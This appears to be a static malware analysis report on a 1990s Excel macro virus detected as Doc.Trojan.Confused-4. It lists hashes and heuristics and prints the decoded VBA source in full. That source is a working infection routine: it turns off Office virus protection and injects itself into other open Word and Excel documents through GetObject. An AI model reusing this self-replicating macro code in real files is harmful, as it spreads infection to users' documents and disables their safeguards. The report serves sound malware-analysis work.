Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5b9d7ca88eea99c5…

MALICIOUS

Office (OLE)

19.0 KB Created: 1999-05-29 15:39:01 Authoring application: Microsoft Excel First seen: 2012-06-14
MD5: 059f7f4fe21430b9bfa356a74f866606 SHA-1: 66f93c941594be28cbeca261a5f34846d8921fb9 SHA-256: 5b9d7ca88eea99c58722128f72916ff16b65ef0f7852ec99ff9a2ea51d015236
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is an Excel file containing VBA macros. The macros utilize the GetObject function to access and inject their code into other open Office documents, including Word documents. This behavior is indicative of a macro-based threat aiming to infect other files on the system. The ClamAV detection 'Doc.Trojan.Confused-4' further supports its malicious nature.

Heuristics 3

  • ClamAV: Doc.Trojan.Confused-4 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Confused-4
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2624 bytes
SHA-256: d626df3308b4b7765d97899f5e519ea1c7c681c7c2ef77daaa4cc7ec7bc4f888
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
'Copyright (C) 1998 by FlyShadow ~^^~ - Confused ][
Private Sub Document_Close()
On Error Resume Next
Options.VirusProtection = 0
Application.EnableCancelKey = 0
Set Ј\ = VBProject.VBComponents("ThisDocument").CodeModule: Јf = Ј\.Lines(1, Ј\.CountOfLines + 1)
Err.Clear: Set Јo = GetObject(, "Excel.Application").VBE.ActiveVBProject.VBComponents("ThisWorkbook").CodeModule
If Err.Number = 0 Then If Јo.Find("~^^~", 0, 0, 0, 0, False, False) = False Then Јo.InsertLines Јo.CountOfLines + 1, Јf
For Јd = 1 To Documents.Count
Set Јo = Documents(Јd).VBProject.VBComponents(Ј\).CodeModule
If Јo.Find("~^^~", 0, 0, 0, 0, False, False) = False Then
Јo.InsertLines Јo.CountOfLines + 1, Јf
End If: Next
End Sub
Private Sub Workbook_Deactivate()
On Error Resume Next
Application.EnableEvents = 1
Application.EnableCancelKey = 0
Set Ј\ = VBProject.VBComponents("ThisWorkbook").CodeModule: Јf = Ј\.Lines(1, Ј\.CountOfLines + 1)
Err.Clear: Set Јo = GetObject(, "Word.Application").VBE.ActiveVBProject.VBComponents("ThisDocument").CodeModule
If Err.Number = 0 Then If Јo.Find("~^^~", 0, 0, 0, 0, False, False) = False Then Јo.InsertLines Јo.CountOfLines + 1, Јf
For Јd = 1 To Workbooks.Count
Set Јo = Workbooks(Јd).VBProject.VBComponents(Ј\).CodeModule
If Јo.Find("~^^~", 0, 0, 0, 0, False, False) = False Then
Јo.InsertLines Јo.CountOfLines + 1, Јf
End If: Next
End Sub

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True